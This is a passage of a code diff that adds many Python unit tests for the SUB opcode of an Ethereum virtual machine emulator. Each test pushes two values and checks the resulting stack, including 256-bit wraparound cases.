+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_SUB_16(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_SUB_17(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_SUB_18(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+    def test_SUB_19(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639934L])
+
+    def test_SUB_20(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_SUB_21(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SUB_22(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819951L])
+
+    def test_SUB_23(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301262L])
+
+    def test_SUB_24(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_SUB_25(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [31L])
+
+    def test_SUB_26(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [47L])
+
+    def test_SUB_27(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718911L])
+
+    def test_SUB_28(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819983L])
+
+    def test_SUB_29(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819984L])
+
+    def test_SUB_30(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819985L])
+
+    def test_SUB_31(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SUB_32(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [61514547407324228818772085785865451047049679353621549645961841504203850121247L])
+
+    def test_SUB_33(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564820000L])
+
+    def test_SUB_34(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564820016L])
+
+    def test_SUB_35(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564820032L])
+
+    def test_SUB_36(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504350043516790537761646130706531776516538464538896L])
+
+    def test_SUB_37(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [112173586448650064316584391727166410732855297644839296413224534507665844338672L])
+
+    def test_SUB_38(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [112173586448650064316584391727166410732855297644839296413224534507665844338673L])
+
+    def test_SUB_39(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [112173586448650064316584391727166410732855297644839296413224534507665844338674L])
+
+    def test_SUB_40(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [54277541829991966604798899222822456806220305312019014393495742503709279518689L])
+
+    def test_SUB_41(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SUB_42(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [112173586448650064316584391727166410732855297644839296413224534507665844338689L])
+
+    def test_SUB_43(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [112173586448650064316584391727166410732855297644839296413224534507665844338705L])
+
+    def test_SUB_44(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [112173586448650064316584391727166410732855297644839296413224534507665844338721L])
+
+    def test_SUB_45(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [112173586448650064316584391727172500323010843073665145100027519020247744057585L])
+
+    def test_SUB_46(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
